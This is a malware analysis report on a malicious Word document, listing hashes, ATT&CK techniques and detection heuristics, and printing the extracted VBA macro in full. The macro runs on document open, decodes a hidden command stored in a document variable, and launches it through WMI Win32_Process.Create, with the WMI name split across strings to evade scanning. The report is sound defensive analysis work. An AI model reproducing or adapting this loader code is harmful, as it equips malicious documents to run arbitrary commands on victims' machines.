Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 564e55246cf97ae3…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2020-08-26 22:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: cbca9743449323b35a7554f4d508faca SHA-1: 2a459109f76c000a44a2c717d5edf64b9dc4c41d SHA-256: 564e55246cf97ae3a0a2bc23da960aa8fd8dd6f3a590e4abc8a993254eed7ea9
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that executes upon opening the document. This macro uses GetObject to interact with WMI and create a new process, likely to download and execute a second-stage payload. The obfuscation technique of splitting keywords like 'winmgmts' is noted.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2926 bytes
SHA-256: 72f2d037c790ea9c7808965a67d928f45ba41f5d66a496fc6a47006671c5b348
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit







                                        





                                                                Public Ungainable As Object
Sub Document_Open()






                                                






             Call Suborbiculated







                End Sub







           Private Sub Suborbiculated()
Dim Fructosan As Long: Dim UnqUeried() As Byte








           







                                                                GoTo EnsurEd
Derivationally:






              





                   For Fructosan = 0 To UBound(UnqUeried)








             






            UnqUeried(Fructosan) = Abs(UnqUeried(Fructosan) - 1)






                                                            Next








                                                            





                                                                            







                                                    GoTo Wattsecond







             Exit Sub





                   







Wattsecond:
Set Ungainable = GetObject("winmg" & "mts:\\" & "." & "\ro" & "ot\cim" & "v2" & ":" & "Win3" & "2_Process")
GoTo Overeye







                  Exit Sub







                GoTo Haggadist








Haggadist:








                                                                




                                                                    






                 MsgBox "You did a mistake. Please check values."







                                                        Exit Sub





          





EnsurEd:






           UnqUeried = StrConv(ActiveDocument.Variables("p1c634563eb4").Value, 256 / 2, 1000 + 55)






                                                    GoTo Derivationally
Exit Sub







Overeye:






                 Ungainable.Create StrConv(UnqUeried, 32 * 2, 1000 + 55), Null, Null, 0






                                                                





                




                                        Exit Sub







          







                                                            






                                            GoTo Haleakala





Haleakala:
MsgBox "Your process is done. You can close your app now!"








                                        Exit Sub
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 29995198f90f9b5644c76dff58c67c692721fba65775bb3af4df047a6615796d

Open this report in the interactive analyzer, or submit your own file for analysis.